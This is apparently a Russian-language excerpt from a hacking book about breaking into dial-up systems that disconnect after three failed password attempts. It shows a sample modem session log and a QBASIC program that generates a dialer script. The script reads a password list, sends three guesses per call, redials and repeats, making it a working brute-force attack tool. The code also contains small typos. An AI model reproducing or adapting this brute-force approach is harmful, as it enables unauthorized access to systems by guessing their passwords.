Одинарная идентификация ограниченное число попыток



Одинарная идентификация, ограниченное число попыток

Для проникновения в систему, относящуюся ко второму типу доменов, требуется несколько больше времени, поскольку в сценарий нужно добавить новые элементы. Пример работы такой системы приведен в листинге 9.3. Несложно заметить небольшие отличия в поведении этой и рассмотренной выше системы первого типа. В данном примере после третьей попытки установки соединения появляется сообщение АТНО. Это типичная последовательность символов, означающая разрыв соединения для модемов Hayes. Значит, данное соединение разрывается после трех неудачных попыток аутентификации. Число попыток может варьироваться, однако в этом примере будет показано, как восстановить соединение при его разрыве после X (в данном примере 3-х) неудачных попыток. Для этого нужно добавить небольшой фрагмент кода в рассмотренный выше сценарий. Такой пример содержится в листинге 9.4. Здесь предпринимается три попытки угадать пароль, а затем соединение устанавливается снова и процесс повторяется.
Листинг 9.3. Пример поведения системы, относящейся ко второму типу домена

XX-Jul-XX 03:45:08 91ХХХ5551235 С:CONNECT 9600/ARQ/V32/LAPM
Enter Password: Invalid Password.
Enter Password:
Invalid Password.
Enter Password:
Invalid Password.
ATHO

(Отметим важную характеристику — последовательность АТНО, свидетельствующую о разрыве соединения модема Hayes.)
Листинг 9.4. Пример программы на языке QBASIC (файл 5551235.BAS)


OPEN "5551235.was" FOR OUTPUT AS #2
OPEN "LIST.txt" FOR INPUT AS #1
PRINT #2, "proc main"
DO UNTIL EOF(l) PRINT #2, "dial DATA " + CHR$(34)
+ "5551235" + CHR$(34)
LINE INPUT #1, in$
in$ = LTRIM$(in$) + "^M"
PRINT #2, "waitfor " + CHR$(34) + "
Enter Password:" + CHR$(34)
PRINT #2, "transmit " + CHR$(34) + in$ + CHR$(34)
LINE INPUT #1, in$
in$ = LTRIM$(in$) + "^М"
PRINT #2, "waitfor " + CHR$(34) + "
Enter Password:" + CHR$(34)
PRINT #2, "transmit " + CHR$(34) + in$ + CHR$(34)
LINE INPUT #1, in$
in$ - LTRIM$(in$) + "^М"
PRINT #2, "waitfor " + CHR$(34) + "
Enter Password:" + CHR$(34)
PRINT #2, "transmit " + CHR$(34) + in$ + CHR$(34)
LOOP
PRINT #2, "endproc"



Содержание раздела